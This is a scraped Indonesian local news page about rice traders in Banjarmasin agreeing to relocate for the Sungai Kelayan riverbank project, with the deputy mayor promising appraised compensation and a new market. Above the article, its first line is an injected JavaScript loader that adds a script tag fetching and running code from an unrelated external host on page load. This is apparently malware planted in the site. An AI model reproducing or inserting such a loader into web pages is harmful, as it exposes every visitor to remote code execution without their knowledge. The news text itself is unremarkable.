(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pedagang Beras Pasar Pagi Bersedia Dipindah


BANJARMASIN, Para pedagang beras di jalan Pasar Pagi dan Gang Ketawa, Kecamatan Banjarmasin Tengah, akhirnya setuju untuk dipindahkan ke tempat baru.

Kesepakatan itu muncul setelah dilakukan pertemuan Pemko Banjarmasin dipimpin Wakil Walikota Banjarmasin Hermansyah dengan para pedagang beras di Balaikota Banjarmasin.

Pertemuan tersebut sengaja digelar, dengan tujuan mendengarkan langsung aspirasi para pedagang mengingat tempat berjualan mereka akan disterilkan, sehubungan dengan rencana pembangunan lanjutan siring muara Sungai Kelayan.

“Pertemuan ini agar saya bisa mendengar langsung aspirasi warga. Tidak ada niat saya atau niat jajaran Pemko Banjarmasin untuk melakukan penggusuran atau menghilangkan pekerjaan masyarakat,” ujar Wakil Walikota Banjarmasin.

Pengerjaan siring Sungai Kelayan itu, merupakan pembangunan lanjutan yang dilaksanakan  Dinas PUPR Kota Banjarmasin bekerjasama Kementerian PUPR RI. Mengingat waktu pengerjaan siring tersebut sudah semakin dekat yakni April 2020 nanti, maka persiapan lahan akan mulai dilakukan.

Terkait penggantian lahan milik warga tersebut, mantan anggota DPRD Kalsel imenjelaskan, perhitungan akan dilakukan langsung oleh tim appraisal yang bertugas melakukan penilaian fisik dan lahan milik warga, yang terdampak pembebasan lahan tersebut. “Penilaian kami akan menggunakan tim appraisal, agar dikemudian hari tidak bermasalah lagi,” ucapnya.

Ditegaskannya kembali, dalam masalah pembebasan lahan ini, warga tidak perlu kuatir dengan uang penggantian yang akan mereka terima. Sebab, jelasnya, Pemko Banjarmasin tidak akan mengambil keuntungan dalam kegiatan ini. “Kami tidak ada niat untuk mengambil keuntungan. Kalau ada petugas atau PNS Pemko yang mengambil keuntungan, sampaikan dengan saya,” tegasnya.

Pasar beras yang ada di kawasan jalan Pasar Pagi itu, merupakan salah satu pasar tua yang ada di kota Seribu Sungai. Keberadaanya telah sejak lama ada. Makanya, dalam pembebasan lahan tersebut, Pemko Banjarmasin menyatakan tak berniat menghilangkan pasar yang sudah melenggenda itu.

Sebagai gantinya, Pemko Banjarmasin akan membangun pasar beras baru, di mana untuk penentuan lokasinya, diserahkan kepada para pedagang beras tersebut. “Jadi silakan pian-pian semua tentukan lokasinya. Nanti akan kami bangun pasar berasnya,” pungkasnya.

Rencanannya, perhitungan terhadap fisik dan lahan milik warga tersebut akan dilakukan tim apresial dalam waktu dekat. Setelah penilaian tersebut selesai dilakukan, Pemko Banjarmasin akan sesegera mungkin menyerahkan uang penggantian melalui transfer rekening ke masing-masing warga tersebut. (mario)

Reporter : Mario
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.